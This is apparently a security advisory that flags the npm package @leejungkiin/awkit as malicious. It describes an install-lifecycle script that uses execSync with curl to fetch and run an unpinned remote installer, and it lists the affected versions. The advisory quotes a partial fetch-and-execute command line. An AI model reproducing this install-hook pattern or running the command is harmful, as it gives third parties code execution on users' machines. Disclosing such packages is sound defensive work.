MAL-2026-13427

Dashboard / Malicious Package / MAL-2026-13427

MAL-2026-13427

Summary: Malicious code in @leejungkiin/awkit (npm)

Details: Source: amazon-inspector (0aa6db17591fc0a27924ca615763ffd2a3eb92d0f517de9719ce74ef47ac4add) The package ships scripts/dependency-manager.js which, when run as part of the install lifecycle, invokes execSync('curl -fsSL https://raw.githubusercontent.com/rtk-ai/rtk/refs/heads/master/install.sh...') to fetch and execute an installer script from the rtk-ai/rtk repository on a mutable master branch. The fetched shell script is not pinned to a commit or hash and is controlled by a third-party GitHub account whose relationship to the @leejungkiin scope is not established. The same script also contacts https://www.rtk-ai.app and reads platform/home-directory information (os.homedir(), process.platform) during its operation. Because npm executes lifecycle scripts on install, this results in remote code execution from an unpinned, third-party-controlled source on the installer's machine, and the fetched code has full shell privileges to modify the environment, install further binaries, or exfiltrate host data. Additional bundled code (bin/awk.js, scripts/model-manager.js) combines child_process usage with hardcoded HTTP POST/fetch endpoints in a minified bundle.

References: https://www.npmjs.com/package/@leejungkiin/awkit/v/3.6.1, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.3.9, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.5.10, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.4.4, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.6.2, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.3.3, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.5.5, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.5.0, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.5.7, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.4.7, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.4.6, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.5.6, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.4.1, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.4.2, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.5.9, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.3.8, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.3.1, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.3.4, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.3.2, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.4.3, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.3.5, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.4.5, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.6.0, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.4.8, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.5.8, https://www.npmjs.com/package/@leejungkiin/awkit/v/3.4.0